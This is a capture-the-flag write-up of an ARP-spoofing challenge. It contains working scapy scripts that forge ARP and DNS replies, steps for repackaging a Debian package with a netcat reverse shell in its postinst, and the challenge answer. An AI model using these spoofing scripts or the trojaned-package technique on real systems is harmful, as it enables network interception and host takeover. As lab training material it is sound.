Objective 9: ARP Shenanigans
Go to the NetWars room on the roof and help Alabaster Snowball get access back to a host using ARP. Retrieve the document at /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt. Who recused herself from the vote described on the document?
This challenge was particularly fun because it involved custom-coding an arp spoof to answer a DNS request, and then sending a malicious payload to obtain a shell on another server, to ultimately obtain the report stored there.
But first, I was presented with the following MOTD:
Jack Frost has hijacked the host at 10.6.6.35 with some custom malware.
Help the North Pole by getting command line access back to this host.
Read the HELP.md file for information to help you in this endeavor.
Note: The terminal lifetime expires after 30 or more minutes so be
sure to copy off any essential work you have done as you go.
guest@dcee5f5da5aa:~$
And the contents of HELP.md:
# How To Resize and Switch Terminal Panes:
You can use the key combinations ( Ctrl+B ↑ or ↓ ) to resize the terminals.
You can use the key combinations ( Ctrl+B o ) to switch terminal panes.
See tmuxcheatsheet.com for more details
# To Add An Additional Terminal Pane:
/usr/bin/tmux split-window -hb
# To exit a terminal pane simply type:
exit
# To Launch a webserver to serve-up files/folder in a local directory:
cd /my/directory/with/files
python3 -m http.server 80
# A Sample ARP pcap can be viewed at:
https://www.cloudshark.org/captures/d97c5b81b057
# A Sample DNS pcap can be viewed at:
https://www.cloudshark.org/captures/0320b9b57d35
# If Reading arp.pcap with tcpdump or tshark be sure to disable name
# resolution or it will stall when reading:
tshark -nnr arp.pcap
tcpdump -nnr arp.pcap
The Basic Gist
Essentially, based on the above, I have a few goals to accomplish:
- [ ] Write an arp-spoof script to forge an answer to an ARP request
- [ ] Write a DNS reply to the server saying that we are the FTP server it's looking for
- [ ] Host a trojan'd Debian package with a reverse shell
- [ ] Catch aforementioned reverse shell
- [ ] Pwn all the things
Let's get to work!
Step 1, here's that ARP-Reply you ordered!
What I need to do is answer the ARP Request that the machine is sending out. It wants to know who owns the IP of 10.6.6.53
. I do not own that IP, but my target doesn't know that. I can write a script that simply says "hey, you're looking for 10.6.6.53? Oh then you want [my mac address]". If all goes well, the machine should respond with a simple "Oh, okay!" and send me another packet with what it needs.
The code I used to answer the arp request and claim I'm the one they're looking for:
#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid
# Our eth0 ip
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our eth0 mac address
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
def handle_arp_packets(packet):
# if arp request, then we need to fill this out to send back our mac as the response
if ARP in packet and packet[ARP].op == 1:
ether_resp = Ether(dst="4c:24:57:ab:ed:84", type=0x806, src=macaddr)
arp_response = ARP(pdst="4c:24:57:ab:ed:84")
arp_response.op = 2
arp_response.plen = 4
arp_response.hwlen = 6
arp_response.ptype = 0x0800
arp_response.hwtype = 1
arp_response.hwsrc = macaddr
arp_response.psrc = "10.6.6.53" # we are spoofing this ip
arp_response.hwdst = "4c:24:57:ab:ed:84"
arp_response.pdst = "10.6.6.35" # we are MITM attacking this
response = ether_resp/arp_response
sendp(response, iface="eth0")
def main():
# We only want arp requests
berkeley_packet_filter = "(arp[6:2] = 1)"
# sniffing for one packet that will be sent to a function, while storing none
sniff(filter=berkeley_packet_filter, prn=handle_arp_packets, store=0, count=1)
if __name__ == "__main__":
main()
I ran the script by running python3 arp-reply.py
while I had tcpdump listening in the background...and I received:
- [x] Write an arp-spoof script to forge an answer to an ARP request
- [ ] Write a DNS reply to the server saying that we are the FTP server it's looking for
- [ ] Host a trojan'd Debian package with a reverse shell
- [ ] Catch aforementioned reverse shell
- [ ] Pwn all the things
Step 2: Fresh DNS replies, made to order
After the target receives my ARP request, the next packet it sends out is a DNS request. Since it's expecting that the IP that I'm spoofing (10.6.6.53
) is a DNS server and can respond to a DNS request, I will simply have to honor that request. Looking at the request with tcpdump, it looks like the target is making a DNS request to ftp.osuosl.org
. As to what it's doing (presumably making an FTP request?) I have yet to discover, so I'll have to write a script that answers that DNS request and says basically "Listen, whatever server you're looking for, I'm it. Just assume I'm that guy." Hopefully we can fool it!
The code I wrote to answer the resulting DNS request that showed up immediately after answering that ARP request:
#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid
# Our eth0 IP
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our Mac Addr
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
# destination ip we arp spoofed
ipaddr_we_arp_spoofed = "10.6.6.53"
def handle_dns_request(packet):
# Need to change mac addresses, Ip Addresses, and ports below.
# We also need
eth = Ether(src=macaddr, dst="4c:24:57:ab:ed:84") # need to replace mac addresses
ip = IP(dst="10.6.6.35", src=ipaddr_we_arp_spoofed) # need to replace IP addresses
udp = UDP(dport=packet[UDP].sport, sport=53) # need to replace ports
dns = DNS(
id = packet[DNS].id,
ancount = 1,
qr = 1,
ra = 1,
qd = packet[DNS].qd,
an = DNSRR(
rrname=packet[DNS][DNSQR].qname,
type= 'A',
rclass='IN',
rdata=ipaddr,
)
)
dns_response = eth / ip / udp / dns
sendp(dns_response, iface="eth0")
def main():
berkeley_packet_filter = " and ".join( [
"udp dst port 53", # dns
"udp[10] & 0x80 = 0", # dns request
"dst host {}".format(ipaddr_we_arp_spoofed), # destination ip we had spoofed (not our real ip)
"ether dst host {}".format(macaddr) # our macaddress since we spoofed the ip to our mac
] )
# sniff the eth0 int without storing packets in memory and stopping after one dns request
sniff(filter=berkeley_packet_filter, prn=handle_dns_request, store=0, iface="eth0", count=1)
if __name__ == "__main__":
main()
And after running the dns reply first with python3 dnsreply.py
(since it waits for a DNS request first before sending anything) and then the python3 arpreply.py
script again, I get more stuff!
Well that's interesting, it's using a lot of ephemeral ports for some back-and-forth communication, and then making a request to me for port 80. A simple HTTP request...I wonder what it's sending?
Oh, and since I'm keeping track:
- [x] Write an arp-spoof script to forge an answer to an ARP request
- [x] Write a DNS reply to the server saying that we are the FTP server it's looking for
- [ ] Host a trojan'd Debian package with a reverse shell
- [ ] Catch aforementioned reverse shell
- [ ] Pwn all the things
Step 3: What is it you want from me?
It's making an HTTP request, so that's reasonably easy to determine what it's looking for. I can simply run python3 -m http.server 80
and look at the logs. First I start up the python http server, then run the above two scripts in the right order and view it:
guest@c9e47e8764a2:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.6.6.35 - - [31/Dec/2020 17:47:13] code 404, message File not found
10.6.6.35 - - [31/Dec/2020 17:47:13] "GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 404 -
Looking for /pub/jfrost/backdoor/suriv_amd64.deb
...a Debian package, eh?
Step 4: Well, now, uh, Launcelot, Galahad and I wait until nightfall, and then leap out of the rabbit, taking the French by surprise - not only by surprise, but totally unarmed!
To create a trojan'd rabb-- I mean Debian package, I executed the following:
guest@c9e47e8764a2:~$ mkdir -p ~/trojan/nano
guest@c9e47e8764a2:~$ cp ~/debs/nano_4.8-1ubuntu1_amd64.deb ~/trojan
guest@c9e47e8764a2:~$ mkdir -p ~/trojan/nano/DEBIAN
guest@c9e47e8764a2:~$ cd trojan/
guest@c9e47e8764a2:~/trojan$ ar -x ./nano
nano/ nano_4.8-1ubuntu1_amd64.deb
guest@c9e47e8764a2:~/trojan$ ar -x ./nano_4.8-1ubuntu1_amd64.deb
guest@c9e47e8764a2:~/trojan$ ls
control.tar.xz data.tar.xz debian-binary nano nano_4.8-1ubuntu1_amd64.deb
guest@c9e47e8764a2:~/trojan$ xz -d ./control.tar.xz
guest@c9e47e8764a2:~/trojan$ tar -xvf ./control.tar
./
./conffiles
./control
./md5sums
./postinst
./prerm
guest@c9e47e8764a2:~/trojan$ cp control ./nano/DEBIAN/
guest@c9e47e8764a2:~/trojan$ cp postinst ./nano/DEBIAN/
guest@c9e47e8764a2:~/trojan$
I modified the package description because I just can't help myself:
I added the following code to the postinst file:
Fun fact: The commented out part is the first reverse shell I tried which didn't work for some weird reason. I would get a callback, but no attached shell with it. I have no idea why, it's like it wasn't accepting the redirect special characters or something. Regardless, netcat existed on the machine, and I was lucky enough to be able to use the -e flag, which lets me specify a binary to attach to the session. Obviously I chose /bin/bash.
I buttoned the whole thing up with dpkg-deb --build ./nano
, then created the directory structure that the remote server was expecting: /www/pub/jfrost/backdoor/
and renamed the package suriv_amd64.deb
.
Now to host it...
guest@c9e47e8764a2:~/trojan$ mkdir -p ~/www/pub/jfrost/backdoor/
guest@c9e47e8764a2:~/trojan$ mv nano.deb ../www/pub/jfrost/backdoor/suriv_amd64.deb
guest@c9e47e8764a2:~/trojan$ cd
guest@c9e47e8764a2:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
- [x] Write an arp-spoof script to forge an answer to an ARP request
- [x] Write a DNS reply to the server saying that we are the FTP server it's looking for
- [x] Host a trojan'd Debian package with a reverse shell
- [ ] Catch aforementioned reverse shell
- [ ] Pwn all the things
Step 5: Sit back, relax, pwn all the things
After I started hosting the trojan's debian package, I then executed the two other python scripts to spoof the arp request and reply to the DNS request. So...did it work?:
- [x] Write an arp-spoof script to forge an answer to an ARP request
- [x] Write a DNS reply to the server saying that we are the FTP server it's looking for
- [x] Host a trojan'd Debian package with a reverse shell
- [x] Catch aforementioned reverse shell
- [ ] Pwn all the things
Full shell! I can access the file NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt
:
LAND USE BOARD
MEETING MINUTES
January 20, 2020
Meeting Location: All gathered in North Pole Municipal Building, 1
Santa Claus Ln, North Pole
Chairman Frost calls meeting to order at 7:30 PM North Pole Standard
Time.
Roll call of Board members please:
Chairman Jack Frost - Present
Vice Chairman Mother Nature - Present
Superman - Present
Clarice - Present
Yukon Cornelius - HERE!
Ginger Breaddie - Present
King Moonracer - Present
Mrs. Donner - Present
Tanta Kringle - Present
Charlie In-the-Box - Here
Krampus - Growl
Dolly - Present
Snow Miser - Heya!
Alabaster Snowball - Hello
Queen of the Winter Spirits - Present
ALSO PRESENT:
Kris Kringle
Pepper Minstix
Heat Miser
Father Time
Chairman Frost made the required announcement concerning the Open Public
Meetings Act: Adequate notice of this meeting has been made -- displayed
on the bulletin board next to the Pole, listed on the North Pole community
website, and published in the North Pole Times newspaper -- for people who
are interested in this meeting.
Review minutes for December 2020 meeting. Motion to accept – Mrs. Donner.
Second – Superman. Minutes approved.
OLD BUSINESS: No Old Business.
RESOLUTIONS:
The board took up final discussions of the plans presented last year for
the expansion of Santa’s Castle to include new courtyard, additional
floors, elevator, roughly tripling the size of the current castle.
Architect Ms. Pepper reviewed the planned changes and engineering reports.
Chairman Frost noted, “These changes will put a heavy toll on the
infrastructure of the North Pole.” Mr. Krampus replied, “The
infrastructure has already been expanded to handle it quite easily.”
Chairman Frost then noted, “But the additional traffic will be a burden on
local residents.” Dolly explained traffic projections were all in
alignment with existing roadways. Chairman Frost then exclaimed, “But
with all the attention focused on Santa and his castle, how will people
ever come to refer to the North Pole as ‘The Frostiest Place on Earth?’”
Mr. In-the-Box pointed out that new tourist-friendly taglines are always
under consideration by the North Pole Chamber of Commerce, and are not a
matter for this Board. Mrs. Nature made a motion to approve. Seconded by
Mr. Cornelius. Tanta Kringle recused herself from the vote given her
adoption of Kris Kringle as a son early in his life.
Approved:
Mother Nature
Superman
Clarice
Yukon Cornelius
Ginger Breaddie
King Moonracer
Mrs. Donner
Charlie In the Box
Krampus
Dolly
Snow Miser
Alabaster Snowball
Queen of the Winter Spirits
Opposed:
Jack Frost
Resolution carries. Construction approved.
NEW BUSINESS:
Father Time Castle, new oversized furnace to be installed by Heat Miser
Furnace, Inc. Mr. H. Miser described the plan for installing new furnace
to replace the faltering one in Mr. Time’s 20,000 sq ft castle. Ms. G.
Breaddie pointed out that the proposed new furnace is 900,000,000 BTUs, a
figure she considers “incredibly high for a building that size, likely two
orders of magnitude too high. Why, it might burn the whole North Pole
down!” Mr. H. Miser replied with a laugh, “That’s the whole point!” The
board voted unanimously to reject the initial proposal, recommending that
Mr. Miser devise a more realistic and safe plan for Mr. Time’s castle
heating system.
Motion to adjourn – So moved, Krampus. Second – Clarice. All in favor –
aye. None opposed, although Chairman Frost made another note of his strong
disagreement with the approval of the Kringle Castle expansion plan.
Meeting adjourned.
And the answer to the challenge: Tanta Kringle
- [x] Write an arp-spoof script to forge an answer to an ARP request
- [x] Write a DNS reply to the server saying that we are the FTP server it's looking for
- [x] Host a trojan'd Debian package with a reverse shell
- [x] Catch aforementioned reverse shell
- [x] Pwn all the things